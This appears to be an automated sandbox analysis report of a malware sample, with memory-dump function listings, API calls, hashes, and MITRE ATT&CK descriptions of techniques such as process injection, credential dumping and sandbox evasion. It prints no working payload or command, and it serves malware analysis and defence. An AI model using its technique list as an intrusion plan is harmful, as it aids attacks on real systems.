Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID:
API String ID: 4148174661-0
Opcode ID: fe457b3fb61764a6c1af3d2fb60293778aaf8336378d4b9063d34a123fbefbf9
Instruction ID: 1a5ada2b4a8ab1a339c1cfd0164635ae0f6eabed3dada54af71ca0f6c12247cf
Opcode Fuzzy Hash: fe457b3fb61764a6c1af3d2fb60293778aaf8336378d4b9063d34a123fbefbf9
Instruction Fuzzy Hash: 5AF0B436641218ABE7309BA8AC0DF9A776CEF09711F000245FD04B31D0EB707A0656A0

Function 002FFB60 Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFB6E
RtlAllocateHeap.NTDLL(00000000), ref: 002FFB75
GetLocalTime.KERNEL32(?), ref: 002FFB81
wsprintfA.USER32 ref: 002FFBAD

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 1c797eccddc58f51d73e04e76399793b1ada1759766da1e736d24c16007c7c92
Instruction ID: 7f1ca562027b953304524cb87e954cd3648ced0c9466dae34f4f889ec997fa68
Opcode Fuzzy Hash: 1c797eccddc58f51d73e04e76399793b1ada1759766da1e736d24c16007c7c92
Instruction Fuzzy Hash: 83F0B4B1904128BBD710ABD59C089FF77FCFF48B02F000149FA4591180E7785955E3B1

Function 002FDAB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 002FDB25
memcpy.MSVCRT(?,?,?), ref: 002FDB76

Part of subcall function 002FD9C0: std::_Xinvalid_argument.LIBCPMT ref: 002FD9DA

Strings

string too long, xrefs: 002FDB20

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$memcpy
String ID: string too long
API String ID: 2304785028-2556327735
Opcode ID: 439fc195bd6a5df532355c0a59281537ddc1b8bb7a567f239d54fe76bd3872b8
Instruction ID: 65f4dbc06ddb17770c26cc175671d55dccac420e9938ded8f9431fc20fbe0196
Opcode Fuzzy Hash: 439fc195bd6a5df532355c0a59281537ddc1b8bb7a567f239d54fe76bd3872b8
Instruction Fuzzy Hash: 9131E9323246188BD7259E5CE880A7AF7EFEBA57A4B21093BF641C7641C761DC6087A4

Function 003030F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000), ref: 00303120
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003031CD

Strings

ERROR, xrefs: 003031BF

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: ERROR
API String ID: 1659193697-2861137601
Opcode ID: 909dc0947a1e70b16d239f696fbf4e1a7ec9eef890421d15c904b8119fd1c8ef
Instruction ID: 6de26b205a575b1f6bd0b9512caa8c5a3752471e8e63d642ba6c298df007aa86
Opcode Fuzzy Hash: 909dc0947a1e70b16d239f696fbf4e1a7ec9eef890421d15c904b8119fd1c8ef
Instruction Fuzzy Hash: BA31C371910208ABCB00FF64DD46BAEBB78EF54790F048138F51697381DB349615CBD5

Function 002FD7F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 002FD80B

Part of subcall function 0030F693: std::exception::exception.LIBCMT ref: 0030F6A8
Part of subcall function 0030F693: __CxxThrowException@8.LIBCMT ref: 0030F6BD
Part of subcall function 0030F693: std::exception::exception.LIBCMT ref: 0030F6CE

std::_Xinvalid_argument.LIBCPMT ref: 002FD822

Strings

string too long, xrefs: 002FD806, 002FD81D

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: e329b62ff309e3f957f99604beca69cfa73265dbc4d7bf72ddaf64a5da69406f
Instruction ID: 86457465533c3e3dc6d15126778a18aafe8f03149d04e6ff3d5b997a23073251
Opcode Fuzzy Hash: e329b62ff309e3f957f99604beca69cfa73265dbc4d7bf72ddaf64a5da69406f
Instruction Fuzzy Hash: B111E4723146184BD331AD5CA880B7AF3EEEB957A0F10063FF6918B691C7A1985183A0

Function 00300B80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71timeCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

Strings

F/, xrefs: 00300C31, 00300C2B, 00300C1C, 00300C34
F/, xrefs: 00300B9D, 00300C3C, 00300C14

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: F/$F/
API String ID: 62757014-2085053079
Opcode ID: 66299f149e201045c61c0abe7c5e0aeb2f0bc9f2ad7495d097ec88f4319c519a
Instruction ID: 25efa54106da882151452874cb25d17e097265ed3fef3fb9aff669d0073e640f
Opcode Fuzzy Hash: 66299f149e201045c61c0abe7c5e0aeb2f0bc9f2ad7495d097ec88f4319c519a
Instruction Fuzzy Hash: DC1124716201086BC71DEF78DD919BEB7A8EF68300B00813DED05DB291EA78D915DB90

Function 002FD4B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 002FD4C6

Part of subcall function 0030F6E0: std::exception::exception.LIBCMT ref: 0030F6F5
Part of subcall function 0030F6E0: __CxxThrowException@8.LIBCMT ref: 0030F70A
Part of subcall function 0030F6E0: std::exception::exception.LIBCMT ref: 0030F71B

memmove.MSVCRT(?,?,?), ref: 002FD4FF

Strings

invalid string position, xrefs: 002FD4C1

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: 9a74eec29dfe59f53376a35615c70281be4292f5270556b9bc16010e0bf9c945
Instruction ID: 15de0b003629b10cb601b6dafacaad86026be428857383e35fba93a10ad688e6
Opcode Fuzzy Hash: 9a74eec29dfe59f53376a35615c70281be4292f5270556b9bc16010e0bf9c945
Instruction Fuzzy Hash: 4701D6323102585BC3258EACEC80A7AF7ABEB94794B24493DE281CB741D6B1EC51C7A4

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
